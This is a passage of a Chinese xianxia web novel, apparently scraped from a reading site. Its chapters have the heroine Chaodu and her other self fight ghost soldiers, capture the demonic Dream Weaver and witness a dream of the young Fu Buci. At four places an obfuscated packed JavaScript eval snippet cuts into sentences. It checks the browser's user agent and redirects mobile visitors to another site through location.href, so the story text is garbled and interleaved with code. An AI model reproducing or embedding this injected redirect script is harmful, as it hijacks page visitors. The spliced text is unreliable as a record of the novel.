傅不辞沉思:待仙塔线索不明,目前还不值得他直接亲临,他需要坐镇青云仙宫,找到更多关于那神秘人和这场天雷的信息……这场天雷,也许代表着成仙的可能性,甚至代表着仙的存在,目前再没有比这个更重要的了。 傅不辞下令道:“让游藏亲自去盯,不管从待仙塔里出来的是谁,直接扣下!” ……………… 待仙塔内,锦绣城的那夜浩劫还没结束。 朝渡看向另一个自己,她的心绪平稳了些,但方才的情形实在有些吓人,道心有裂痕可是入魔的前兆啊…… 忽然,密集的马蹄声从空旷的街道上传来,周围的温度骤然低到仿佛入了冬。 朝渡为了转移另一个自己的注意力,伸出手点向前方街道,同她道:“看那边,猜猜来的是什么?” 另一个朝渡迟缓抬头,随即霍然睁大了眼睛:“那是……好高的人和马,跟房屋一样高,身上却没有一点生气,那难道是,传说中的阴兵?!” 空旷宽阔的城中主道上,有两队阴兵正不疾不徐地向城门处的两人走来,每个阴兵都极其高大,骑在马上竟比街道旁的房屋还要高。 朝渡颔首,望着他们目光冷然:“阴兵借道,生人回避,不过他们不只是借道。” 他们和他们的战马都身披坚硬的青铜铠甲,仿佛哪座墓葬中的巨大陪葬品,眼睛处还冒着两团幽绿的鬼火,鬼气森然。 更诡异的是,每匹战马的脖颈上竟还系了朵猩红牡丹,这些牡丹红艳到仿佛刚从谁的胸膛里剖出来,浸满谁的心头暖血,诡异可怖。 随着两队阴兵的靠近,还能看到他们的队伍中间夹了一顶浮空的红轿,轿帘上贴了个猩红到仿佛正在滴血的“囍”字。 “这架势倒像是……迎亲?!”另一个朝渡诧然,“我听过一个流言,说那夜有阴兵出现在锦绣城迎亲,我还以为阴兵是真迎亲是假,就算要迎亲,怎么会刚好这个时候出现在锦绣城里?” 朝渡提剑冷笑:“是啊,真巧啊,鬼王看上了城里的谁,非得这夜来娶?而且他这夜没娶到新娘,倒是把整座锦绣城变成了一座鬼城!对了,你看那轿子。” 朝渡点了一下她的眼睛,帮她开启灵视:“你看,周围的新亡魂都被吸进轿子里了,这哪里是喜轿,倒像是吸魂炼魂的法器!” 另一个朝渡也悟了:“他是借娶亲之名,派阴兵过来收新亡魂……为了获得力量变强吗?听闻鬼修好像会通过吞噬同类来修炼。” “是啊。”朝渡冷笑,“鬼王胃口不小啊,竟想吞了这满城的百万亡魂。” 另一个朝渡叹息:“但他得逞了,自那之后,一向默默无闻的鬼王实力大涨,成了仙盟的强劲对手。” “嗯?他在我那边没得逞。”朝渡诧然。 两人惊讶看向对方,此时,两队阴兵已来到两人身前不远处,为首的“将军”停住战马,轿子落下,随后,有两名阴兵纵马提枪向两人刺来! 朝渡持剑,如描眉般轻轻挥出一剑,剑气轻松穿透阴兵与战马的铠甲,仿佛切的是两块豆腐。 随着剑气的挥出与两名阴兵的倒下,阴兵的队伍一阵骚动,战马嘶鸣不止,有些马几次想调头,又被阴兵扯住缰绳拉了回来。 “他们也很怕你的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577574|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量,这真是他们的克星啊……”另一个朝渡忽然扶住额头,皱起眉,声音都有点发颤发飘,“我的头有点疼,看东西有点晕,你有这种感觉吗?” “是那顶轿子在试图吸我们的魂魄,我还好。”朝渡一手横剑挡在两人与轿子中间,以剑气形成一道屏障,又用另一只手握住她的一只手,帮她稳住魂魄。 “好点了吗?”朝渡关心问。 “好多了……”另一个朝渡放松眉头,长呼一口气,“对了,你刚才说,鬼王在你那边没得逞?为什么?莫非……是你做了什么?” 朝渡看了她一眼,隐约能感觉到她的心音又有点驳杂,而且方才她差点道心出现裂痕的情形让朝渡有点担心,朝渡先转移话题道:“先解决眼前吧,想不想看看轿子里到底是个什么东西?” 另一个朝渡点头:“想,啊!他们冲过来了!他们想把我们包围?!” 高大的阴兵催动战马,从左右两侧将两个朝渡包围,随后齐齐扬起手中青铜长枪,在急如战鼓的马蹄声中,向被围在中心的两人刺来。 朝渡揽住另一个自己的腰,在她的惊呼声中带着她腾空而起,接着倒握剑柄向下一刺。 无数道雷光自剑尖如莲花绽放,将整队阴兵笼罩。 下一瞬,阴兵发出不似人声的嘶吼,化成一团团血烟从战甲中飘出。 再一眨眼,地面上只剩满地青铜战甲和青铜武器,以及那一顶喜轿。 朝渡带着另一个自己平稳落地,又挥出一道剑光,将那喜轿从靠近轿顶的位置横着截成两半。 喜轿的帘子骤然落下,露出喜轿中端坐的人影,同时一道灰雾钻出喜轿逃向与朝渡相反的方向,朝渡一剑劈向那灰雾,随着一声惨叫,一团东西分成两截落了地。 朝渡没急着查看逃窜的东西是什么,先看向轿中端坐的人:那是一名女子,面容惨白,眼睛漆黑,嘴唇与腮红都是醒目的猩红色,艳丽得像用鲜血画上去的,腹部被撕出一个铁锅大的破洞,看边缘的毛糙程度……应该是纸糊的,还糊了好几层,残存着层层叠加的隐蔽气息的阵法。 朝渡一时气笑了:“难为鬼王还想起来放个纸新娘来糊弄人。” 另一个朝渡也无语笑了:“他难道就跟这个成亲?对了,那吸魂炼魂的是纸人肚子里的东西,刚才逃出来的那个?” 朝渡点了点头:“应该是,去看看吧。” 两人绕到喜轿后,就看到不远处地上已无气息的鬼婴。 朝渡目光冰冷:“鬼王应该是想集全城之亡魂炼制一个鬼婴,再吞噬鬼婴提升修为。” 另一个朝渡恨恨道:“鬼修的修炼方法实在阴毒。” 朝渡:“是啊,这绝非成仙正道。” “话说你当时是怎么解决这些东西的?”另一个朝渡忽然把话题绕了回去,好奇地看向朝渡。 朝渡没回答,先观察她的状态,见她此刻情绪心境还算稳定,又被她不断催促,才无奈道:“其实也是借了天雷的力量,这种阴邪之物极怕天雷的。” “你那时候就能用天雷之力了?”另一个朝渡讶然,又摇头,敏锐道,“不对,刚才除魔蛇时你还说你那时候没有这种力量。” 朝渡感受到她目光中的质疑,轻叹:“真的是借了天雷,不过跟现在不一样,那时候是拿命借的。” 8. 织梦使 另一个朝渡讶然:“什么叫拿命借天雷?拿命怎么借?” 朝渡看向天空中又开始圆缺变化的血月,忆起遥远往事:“我也是当时灵机一动想出来的法子,那时候阴兵向仙衣阁袭来,还能战斗的就剩三四个人,根本不是阴兵的对手。” “遥遥和师父又让我走,我不想丢下她们走,就想法子,刚巧我来锦绣城之前修为快突破了。”朝渡解释着,随时观察另一个自己的状态。 另一个自己状态还行,此刻更是恍然大悟:“你是靠修为突破引来了天雷试炼!” 朝渡点头:“对,我向一起来支援的医修要了些短时间提升修为的丹药,又有几个伤势比较轻的人把修为都传给了我,随后我强行突破,引来天雷去劈阴兵,护住了仙衣阁。不过强行突破的修为跟自己修炼的修为终究不一样,只差一点,我就死在那场天雷试炼里了。” “太厉害了……”另一个朝渡满眼羡慕向往,“竟然能想到这个法子,还真的做到了,可我记得,我那时候还没到快突破的境界啊……为什么?” 朝渡立刻停了下来,手搭在她的肩上,引入灵力帮她稳定心神。 另一个朝渡勉强笑了笑,将肩膀挪出朝渡的掌心:“我没事,我只是在想,我们的差别怎么会这么大,到底是从哪不一样了?!” 朝渡也想知道,但她觉得现在还是先安抚另一个自己更重要:“既然我们是一个人,那我能做到的事你也能做到,只是早点晚点罢了。” “不一样的……晚了就是晚了,我再也救不了遥遥她们了。”另一个朝渡捂住了自己的脸,声音颤抖,泪水从指缝中不断溢出,“我晚了,我永远救不了她们了!我要是那时候跟你一样的修为就能把她们救下来了,我的命她们的命就都不一样了!” 朝渡再次按住她的肩膀,用灵力帮她稳住剧烈震荡的心神,又轻声安慰道:“往前看,你现在也有想要守护的人吧?比如你女儿,变强去守护她吧。遥遥她们由我替你守护,你只管放心。现在只需要你找到剑变强,去守护你现在珍视在意的人,以及未来的你自己,不再留下什么遗憾。” 另一个朝渡缓缓放下手抬起头,眼神茫然又充满期盼地望向朝渡:“真的吗?我真的能做到吗?” “你可以的。”朝渡温柔地摸了摸她的脑袋,“相信自己,我可以的你也可以。” 另一个朝渡抱住她许久没说话,再开口时声音哽咽却坚定:“好,这次我真的要好好变强!” 朝渡欣慰道:“好,来,看下一关吧,说起来,之后的关卡我就不怎么熟了,新的支援来了,有不少厉害的掌门长老,我从雷劫里出来时也就剩了半口气强撑着,被新来的人当成伤员一起转移出去了。” 血月圆缺又一轮,新的关卡开始了。 另一个朝渡努力回忆:“让我想想……我听说那夜锦绣城里还出现了魔尊座下的‘织梦使’和左护法,至今没见到,不知道接下来有没有。” 朝渡微笑着看她,点头同意:“有可能,说起织梦使,听闻他虽然是魔修,却有人千金找他织一梦。” 另一个朝渡:“我也听说过!据说他能织出令人不愿意醒来的美梦,梦中没有遗憾没有痛苦,只有幸福美好。而且他好像原本是我们仙衣阁的人,不过在我们入门前就叛逃出来了,名字好像本来叫卿新,新鲜的新,后来被他自己改名成了伈。”另一个朝渡抬手写给朝渡看。 朝渡若有所思:“人心么……” “哦?原来是两位师妹,你们也想要一场美梦吗?” 一道温柔悦耳的嗓音响起,携着柔暖的香风,轻轻散到了两个朝渡面前。 朝渡挑眉,顺着声音看向前方废墟中突然出现的一棵繁花灼灼的古桃树,一道美丽慵懒的身影斜倚于上。 他容貌俊美如玉,一双粉紫眼瞳多情动人,一头白发被一小枝桃花懒懒地束在脑后,只有一缕落在胸前,一身流光溢彩的织锦轻袍随微风轻扬展开,好似凤尾蝶的华丽蝶翼,身后恰是一轮鲜红滴血的圆月。 惊美,诡艳。 随着暖香的微风拂过,桃花灼灼的古树洒下无数飞花,在红月下落出一场缠绵幽诡的桃花雨,还有数只琉璃质地、闪着细碎微光的蝴蝶在花雨间飞舞盘旋。 朝渡抬手用灵力凝出一柄透明的伞,撑在了自己和另一个朝渡的头顶上方。 有一两只琉璃蝶想飞进伞内,却在靠近伞的顷刻间化成了一缕细烟,只余几颗亮晶晶的尘粒落到了朝渡脚旁。 朝渡瞄了眼那几颗逐渐黯淡的尘粒:上面附着有灵力,跟刚才的香气与花瓣一样,都是他引入入梦的手段。 另一个朝渡望着其它几只飞得近的琉璃蝶讶然:“他的武器居然还是仙衣阁的织锦仙蝶。” “毕竟用顺手了呢,而且它们很漂亮不是吗?”织梦使温柔笑问,“说起来,你们想要什么样的梦?看在我们是同门的份上,我这次不收千金。” “不收千金,只收命是吗?”朝渡轻笑一声,“首先,从你叛出修仙界,我们就不是同门了,其次,你这点修为怕是还不够给我织梦。” “是嘛~”织梦使拉长了尾音,慵懒闲适地笑着,指尖对着朝渡轻轻一点,仿佛点在了负心人的心口上,“这位师妹好凶哦,不过,要不要猜猜你们在什么时候已经入梦了?” 朝渡从容道:“我清楚,不过是借你之手,帮人圆一场梦罢了。” 她看向身边之人:另一个自己虽然还睁着眼,此时甚至困惑地与她对视,但这其实已经是织梦使用幻术创造出的虚影了,真正的另一个朝渡,早在织梦使出现在古桃树上之前,就已经入梦了,想来现在应该已经见到了那令她怀念已久的人。 织梦使一怔,目光在两个朝渡间一番游移,眉头微蹙:“你在借我的手替她圆梦?你好大的胆子……”说到后面,他的话音已经有了些怒意。 漫天的花雨蝶群间,朝渡收了伞,一剑切断身旁幻影,懒得再演,悠悠道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577575|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修仙嘛,胆子不大点哪行?你若想多活些时候,便老实把她的梦织好,织圆满些——啧!织梦使脾气也不小呀。” 漫天的花雨骤然变成了刀剑雨向她落下,朝渡没看天空,反而提起长剑向自己的影子一插——影子发出一声惨叫,顷刻间竟有黑血汩汩涌出! “如此美人,本体藏在影子里可是浪费风情了。”朝渡微微低头,看向脚旁不断挣扎,却被钉死在地面的织梦使。 “你、你到底是谁,怎会有如此修为?!”织梦使双目充血赤红,嘴唇却惨白发颤,一身流光溢彩的锦袍被缠着魔气的黑血染了个透。 “嘘。这不是你该问的。”朝渡微笑着在他旁边坐下,指尖在地上一按,地面霎时如湖水起了波澜,花瓣与古桃树消散成光点,旁边聚起了另一个她的模样,此时正躺在地上昏昏睡去——这才是真正的另一个朝渡。 朝渡收回手,又打了个响指,霎时旁边围满了百箱金光闪闪的黄金,不过都是幻象。“喏,千金给你,你把给她的梦织好,在她出来之前,你都可以活着。” 织梦使气得咬牙切齿,脸色时青时白时黑,极其精彩,但看另一个朝渡嘴角微微上扬的模样,显然他正在照做,努力给她织一个圆满的美梦。 朝渡抬手,剑随着她的动作抬高,退出了织梦使的胸膛,但高悬于他的心脏上方。 随后朝渡闭上眼,手放于膝盖上打坐,周围安静得只剩三人的呼吸声。 “你跟她究竟是什么关系?” 织梦使比方才沙哑不少的声音响起,朝渡动都懒得动。 “看在我还在尽力给她织梦的份上,不妨满足下我的好奇心?”织梦使又道,“我还是第一次见,两个一模一样的魂魄,却在性格修为各方面有如此大的差异,这不是分魂禁术,但还能是什么?” 朝渡闭着眼敷衍道:“双胞胎。” 织梦使无语:“你骗鬼呢?双胞胎的魂魄只是极像,但不会一模一样。好姐姐,你就告诉我嘛~嘶——” 剑气骤然寒冷数倍,仿佛要把他的脊髓冻结,他感受到了浓烈的杀气——来自上方这柄剑。 朝渡徐徐睁开眼,似笑非笑地看他:“悠着点,我的剑快忍不住了。” 织风使颤抖着但没再问,他知道这柄剑忍不住想干什么:想让他彻底地永远地闭嘴。 朝渡又道:“我也有一个问题想问你,你当年为什么要叛离仙衣阁?” 织梦使一怔,习惯性咧开嘴角,笑得风流多情,还多了几分顽劣:“你也是仙衣阁的人,你难道甘心一辈子给别人做衣服?与其一辈子穿线织布给他人做嫁衣,倒不如织梦玩心,当那个‘他人’!对了,你果然是不甘心的吧?” 织梦使伸手指了指悬在自己心脏上的墨玉长剑,用一双粉紫色的桃花眼,隔着疼出的泪花,笑吟吟地望着朝渡:“你若是甘心,为何你的武器不是织锦仙蝶,而是一柄剑?你是不是也离开仙衣阁了?哈哈哈原来我们才是同类!” 9. 少年傅不辞 朝渡摇头:“我跟你不是同类,我离开仙衣阁不是背叛,更没有成为魔修,也不是讨厌做衣服,只是,我也想挥出那样的一剑。” “那一剑,哪一剑?”织梦使疑惑问。 朝渡:“你见过上任,不,这任仙盟之主,在不久前的那次新剑试锋大比开幕仪式上的那一剑吗?哦,那时候你已经是魔修了,应该是见不到,喏,看那。” 朝渡抬起手臂,以掌心抹过空中,随着她手臂划动,空中的猩红血月化为皓白玉轮,一个手持长剑衣带当风的女子身形浮现在云间,立于月前。 “这是,仙盟之主,游云月?”织梦使转头看她,“你的幻术跟谁学的?还挺精妙。” 朝渡提醒:“专心点,看上面。” 织梦使:“……”他怨恨地瞪了她一眼,又绝望地看了眼悬在自己心脏上方不足一寸的寒剑,最后老实抬头看向空中。 但见游云月一身白衣劲装立于云端越前,气度潇洒从容好似云间白龙,在她身前远处是一座高耸入云的巨大铜钟。 这铜钟有青山大小,纹路古朴威严,乃是仙盟集修仙界之力炼成的神器,名为镇魔仙钟,用于关押极恶之魔修与魔物,钟声有净化魔气的功效。 “镇魔钟?!”织梦使想起什么,脸色更白了。 游云月一手负于身后,气定神闲地挥出一剑,弦月形的剑光霎时占了半个天空,恍然间仿佛明月落人间,再凝神却见天上人间竟共有两“月”,一月圆,一月缺,原本的黑夜竟因这两轮交相辉映的月亮而明如白昼! 眨眼之间,“弦月”落到镇魔钟上时,一时如激三千重浪,镇魔钟发出“怒吼”,厚重苍劲的钟声席卷天地的每个角落,天空地面似乎都被它撼动震颤。 这是除魔镇恶的钟声,钟声所过之处,魔气消散,天地清平。 这亦是每届论道仙会的开幕仪式,由当任的仙盟盟主击响巨钟,宣告此次的论道仙会正式开始,还能向四海展现修仙界的实力,震慑魔修与妖族休得猖狂。 织梦使捂住耳朵,眼框流出血,痛苦道:“你要是还想让我给她织梦的话就快停下!!我快死了!!!” 朝渡依依不舍地收了幻象,瞟向几乎崩溃大口喘息的织梦使,无语道:“好了别演了,只是幻象,哪有这么大的威力。” 织梦使一僵,有点尴尬地松开手,不满道:“你真是不懂怜香惜玉啊……啊!管管你的剑!这次是真的疼!” 朝渡唤千钧剑:“千钧,留他还有用。” 千钧剑不满地闪着雷光,但也没再继续散发冰冷刺骨的剑气,织梦使终于喘上了口气,惨白着脸,却得意地对着剑做了个鬼脸。 千钧剑:“……”滋滋滋!!! 朝渡:“……再忍忍。” “……?”织梦使面露惊恐,“你这句话是什么意思?你该不会打算一会卸磨杀驴吧?!” 朝渡微笑:“您这般姿容风华,怎么会是驴呢?” 织梦使疑心颇重:“我怎么感觉你不是在夸我而是在骂我?你说实话,你不会杀我吧?” 朝渡:“放心,不杀。” “那就行。”织梦使长松一口气,安静了一会,又忍不住开口,“话说你打算让我给她织梦到什么时候?” 朝渡:“到她自己从梦中出来为止。” “啊?你确定?”织梦使看了看睡得香甜的那人,迟疑道,“以她那点修为和意志力,想从我的梦里出来难得很,要不我降低点难度?” 朝渡:“不用,有些梦,她必须得自己走出来。你放心,她答应过我,我也相信她。” 织梦使面露难色,欲言又止:“要不你自己来看看,她现在有多开心,哪里有要醒的样子?” 朝渡沉思片刻:“好。”她倒不是怕她走出来,而是想看看她会梦到些什么,能不能反向推敲出来她与她命运的分歧点在哪。 “你把手给我……嘶冷!不给也行不给也行……”织梦使恨恨地瞪了眼悬在心脏上方的长剑,“你把手放到她的肩上,闭上眼,我引你入她的梦。” 朝渡照做,下一瞬,她的眼前浮现出了仙衣阁粉莲湖中的玉台。 盏盏浮空的粉色莲灯环绕平台周围,许多衣着精美别致的仙衣阁弟子聚在台上,互相分享着甜点美食,时不时有人被推到台中心来个表演,琴箫歌舞样样皆有,无论水平如何都有喝彩声一片。 另一个朝渡此时坐在玉台边,与好姐妹谢路遥分享着哪家的甜点,看着台中的歌舞,两人有说有笑。正逢满月当空,似雪的月光映照出她们无忧无邪的笑容。 忽然,两个身影出现在通往湖中玉台的曲折窄桥的路口,其中一个身影御风飞过湖上窄桥,径直落到了另一个朝渡身边,笑吟吟道:“师姐,有人找你!在那边!” 另一个朝渡回头看去,先是一怔,继而惊喜:“不辞?!他怎么来了?” 谢路遥跟着扭头,也惊讶:“今天可是除夕,他不在他的师门呆着,来找你作甚?哟,难道是……” 另一个朝渡羞涩地红了脸:“难道是什么?” 谢路遥偷笑,推着她走到了桥的另一端:“你难道心里没数吗?快去吧!” 另一个朝渡就和傅不辞隔着湖面曲折的窄桥,彼此含情脉脉地遥遥相望,仿佛那是独属他们二人的鹊桥。 湖边垂柳下的朝渡默默扶额,移开视线:“你确实挺会织梦的。”这一看就是她想要的美梦。 “那是,千金一梦可不是虚的。”织梦使靠在柳树上,得意洋洋,“我要是继续留在仙衣阁做衣服,做一辈子也得不到这么多的钱和名。” 朝渡轻叹:“人各有所求,但你不该成魔害人,有些底线是不能破的。” 织梦使不屑地撇了撇嘴:“无趣,你也是这般无趣之人。” 朝渡:“你觉得什么有趣?” “人心啊!”织梦使挑起嘴角,抬起手,手间凝了颗猩红跳动的心脏,他用力握住这颗心脏,看它疯狂地挣扎跳动,却逃不出他的手心。 “这世间,最有趣的就是人心了!尤其是生死间隙中比火更炽烈的爱与恨,千回百转,万人万心,实在精彩!你是没体验过那种玩弄人心的快意,哪里是织布制衣,舞刀弄剑比得了的?!” 朝渡摇了摇头,懒得再跟这位魔修多费口舌,再看湖中,另一个朝渡和傅不辞已经走到了桥中心,两人含情脉脉地相望,红了脸颊,又移开视线,一人看湖一人看月。 明明对彼此的来意心意已经了然,说出口的却是: “你今夜过来,是有什么急事吗?” “嗯,是有点急事。”少年傅不辞从身后拿出两盒精巧的匣子,“听说极味轩新出的糕点很好吃,我给你带了两盒,要抓紧趁热吃,很急。” 另一个朝渡没忍住一声轻笑,嘴角的弧度已经压都压不下去了:“谢谢你,我……你……你要来一起看我们仙衣阁的宴会吗?很精彩很热闹的!” 少年傅不辞侧过脸看湖水中两人的倒影,小声道:“我倒是想去个没那么热闹的地方。” 另一个朝渡:“哎?” “咳,我是说,要不去一个只有我们两个的地方吧?”傅不辞转过头看她,少年目光灼灼,嗓音却因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝渡轻笑:“这就是你玩弄人心的水平?” “再给我一次机会。”织梦使猛地严肃坐了起来,盯着朝渡细细观察,忽然面露恍然之色,然后抬手打了个响指。 霎时,屋里的俊美舞者都消失了,取而代之的是一屋子琳琅满目清光灿灿的宝剑。 朝渡:“……” 她环顾四周,沉默片刻,缓缓摇头,失笑:“你该庆幸,我手边的不是真的千钧剑,没有让它看到这一幕。” “怎么,它一把剑,还能拦着你不让你找别的剑?你只是犯了全天下剑主都会犯的错。”织梦使嬉笑道。 朝渡但笑不语,只继续看向窗外屋顶上的两人。 “不对,不对,你想要的也不是这个。”织梦使蹙起眉,“你心底到底想要什么?!我读不到你的记忆,你能给点提示吗?” “你慢慢琢磨吧。”朝渡继续看窗外,那俩人坐得倒不是很近,仿佛都在认真欣赏今夜的美景,但如果仔细观察,就能看到傅不辞的左手正在一点点地靠近另一个朝渡的右手。 直到两人的小拇指轻轻碰上,傅不辞紧张地红了脸,另一个朝渡身形一僵,但也没有躲开,反而朝他的手又贴近了一点点。 她这小小的动作显然给了傅不辞莫大的勇气,少年蓦地看向身边的人,目光明亮欣喜,像一汪清澈见底的泉,里面盛满了不作假的真情。 朝渡问织梦使:“他对她的感情,是真是假?” 10. 朗月剑 织梦使眉头还未舒展,抬头瞄了眼窗外俩人,懒懒答道:“根据她的记忆来看,傅不辞现在的真心是真的,后面的不耐烦也是真的。哎,你到底对什么感兴趣?钱权名利?” 朝渡不答,只是轻叹:“韶华易逝,真心难留,世上多憾。” 再看窗外屋顶上,傅不辞深吸一口气,嗓音微颤地开口:“师妹,你看这满城灯火,是不是很亮?” 另一个朝渡点头:“是呀。” 傅不辞看向她的侧脸,红着脸轻声道:“我感觉你比它们加在一起还要亮。” “哎?”另一个朝渡讶然回头看他,正撞进少年人羞涩紧张期待的目光中,两人一时无言,唯有飘到脸颊与耳垂上的红云越来越浓,眼中的情意足以填满万张信。 另一个朝渡羞涩地别过头,假装要继续看烟花,只小声问:“为什么这么说?” “从第一次在锦绣城遇见你,你给我的就是这种感觉。”少年傅不辞羞涩地笑了笑,回忆起往事,“当时城里那么多魔修魔物,你却毫无畏惧冲在最前面,好多修为比你高的人都不敢呢。” 另一个朝渡:“……” “我还记得,你当时拿着的只是一柄普通的剑,但是你满身锋芒杀气,剑锋雪亮,遇魔杀魔,仿佛剑仙降世,我不自觉地就跟在你身后了。”少年傅不辞满目欢喜向往。 另一个朝渡:“…………” “你跟我见过的其他人不一样,你特别勇敢,你的剑哪怕只是普通的剑,也跟你一样闪闪发光,不,比你还是要逊色几分……你怎么哭了?”少年傅不辞呆住,手足无措,“是我说错什么了吗?” 两行清泪潸然滑落另一个朝渡的脸颊,她痛苦地闭上眼:“我把我的剑弄丢了。” 屋内的朝渡轻叹:“她要醒了。” 织梦使懒懒地看了眼窗外,却道:“早着呢。” “啊?”少年傅不辞诧然,“什么时候的事?我昨天见你时它还在,要不我帮你找?” 另一个朝渡眼中的情意如潮水褪去,露出干涸的湖底,露出她多年来的悲哀痛苦,她苦笑着摇头:“它不是昨天丢的,它丢了许多许多年,怕是再也找不到了。” “这……那就再选一把?”少年傅不辞提议。 另一个朝渡望着年轻的爱人,神情复杂:“可是后来,是你让我放下剑。” “啊?”少年傅不辞诧然地睁大了眼,“我怎么可能……” “你还爱上了其他人,养了很多人在外面,却几个月都不见我。”另一个朝渡闭上眼,神色痛苦万分,“为什么要让我醒来?让我又想起这一切。” 傅不辞完全呆住:“你在说什么?这不可能!” 少年傅不辞严肃认真地思考,再次确认:“这绝对不可能!” 另一个朝渡睁开眼望着他,一声苦笑:“可这就是我的未来。” 少年傅不辞深深沉默了,片刻后坚定道:“虽然不知道你是怎么看到未来的,但如果真有那一天,那这个人大概就不是我了,我或许是被人夺舍了,你替我报仇可好?” 周围的烟花房屋灯火都开始模糊,不知道是因为梦境将散,还是因为她根本抑制不住的泪水。 少年傅不辞将另一个朝渡深深紧紧地抱在怀里:“如果真有那么一天,如果那时候我已经变得面目全非,替我报仇,别放过他,他不是我。” 另一个朝渡颤抖着抬起手,回拥年轻的爱人,他坚定温暖的怀抱一如她记忆中的模样。 “我之后是不是让你受了很多委屈?”少年傅不辞问,“对不起,我不知道我为什么会这样……” 另一个朝渡闭上眼,近乎疯狂地贪恋他怀中的温度。 这是梦,她得醒来。 可是不想醒。 哪怕这是梦,让她溺死在爱人的怀中又何妨。 屋中的织梦使露出微笑:“你看,她在努力挽留梦境,她不想醒,很多人都这样,哪怕发现了这是梦,也不想离开的。要不要我帮她一把?” 朝渡颇有深意地看了他一眼,随后摇头:“不用,她能自己醒。” 织梦使看她:“你怎么这么确定?” 朝渡淡淡微笑:“她答应过我,要开始练剑了。” “不过,你是怎么知道未来的?”少年傅不辞好奇问。 另一个朝渡深深沉默,片刻后她捧住爱人的脸,深深凝望他尚且明亮的眼睛,随后蓦地吻上他的唇,堵住他的疑惑。 朝渡开始看屋里的剑:唔,这把不行,这把也一般,都不如千钧啊。 窗外屋顶上,炽热浓烈的气息纠缠良久,另一个朝渡才恋恋不舍地松开手,看到爱人被她吻得意乱神迷,满眼雾气与爱意交织,她扬起嘴角,又亲了亲他的额头,将他再次拥到怀中。 不舍得,不舍得,根本不舍得,但…… “不辞,把你的剑送我好不好?”另一个朝渡恋恋不舍地问。 “啊?”少年傅不辞愣了一下,继而爽快同意,“如果是给你的话没问题,别人我肯定不给。” 他抬手召出配剑,轻抚剑鞘:“它叫朗月剑,希望它能随时陪在你身边,保护好你。话说,那它算不算我们的定情信物?” 少年傅不辞双手捧剑,明亮的目光满是期待。 “算。”另一个朝渡双手接过剑,眼角有泪光闪烁,她拿着剑,将昔日的爱人再次深深拥入怀中,轻吻他的发丝,“当然算。” “太好了……”傅不辞轻轻蹭着她的肩头,少年欣喜又满足。 两人就这样拥着彼此良久,空中的烟花亮了又散不知多少次,另一个朝渡轻声道:“梦该醒了。” “什么意思?”少年傅不辞茫然问,另一个朝渡看着他的皮肤逐渐变得苍白,开裂,心如刀绞。 “别怕,这里只是一场梦,但我必须得醒了。”另一个朝渡含泪抚摸他的脸颊,将出现裂缝的他紧紧抱在怀里,痛苦地看着他一点点失去生机。 “好,我相信你……”少年傅不辞微笑道,望着她的眼睛温柔且明亮,随后逐渐黯淡下去。 她的爱人话没说完,便在她怀中砰然散成了一大捧血色的花瓣,在朦胧赤红的月光下分不清花瓣本就是血色,还是被月光染成了血色。 有微风吹过,花瓣如细雨散开,只留下她手中尚有他余温的朗月剑。 她双手捧剑,痛苦怅然地抬起头,刚才天空中雪白圆满的皎月又变成了那几欲淌血的红月,万家灯火热闹烟花不知何时消失不见,旁边坐着的是那从另一个世界远道而来的自己。 朝渡收回搭在她肩头的手,一声轻叹,转头问织梦使:“刚才傅不辞说的那些话,是真的假的?” “假的,他没说过。”织梦使答道,“是我根据她的记忆推测的,是他有可能会说的。不过嘛,要知道,人的记忆也有可能是假的,尤其是隔了太多年的记忆,很容易美化当年的人和事,偏差肯定是有的,只是大或者小的差别。至于她的记忆更接近傅不辞本身,还是更接近她自己的幻想,那就说不清了。” 另一个朝渡茫然地扭头看向声音的来源,随后猛地坐起来挪远了些:“他是谁?!” 朝渡:“千金一梦的织梦使。”说着,她站起身,伸了个懒腰,身上纤尘不染。 织梦使歪头抬手,笑着同另一个朝渡打招呼:“对刚才的梦还满意吧?” 另一个朝渡神色复杂地点了点头:“难怪有些人沉浸在梦中不愿意醒。” 朝渡也点头:“确实,连堂堂织梦使都不愿意从梦中醒来呢。” “你什么意思?”织梦使愣住。 朝渡挑眉:“嗯?堂堂织梦使,不会还没发现你所在的也是一场梦吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577577|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 织梦使先是呆住,呆了好一会后忽然面露慌张惊恐,绝望地小声乞求道:“不要说了,不要说了!” 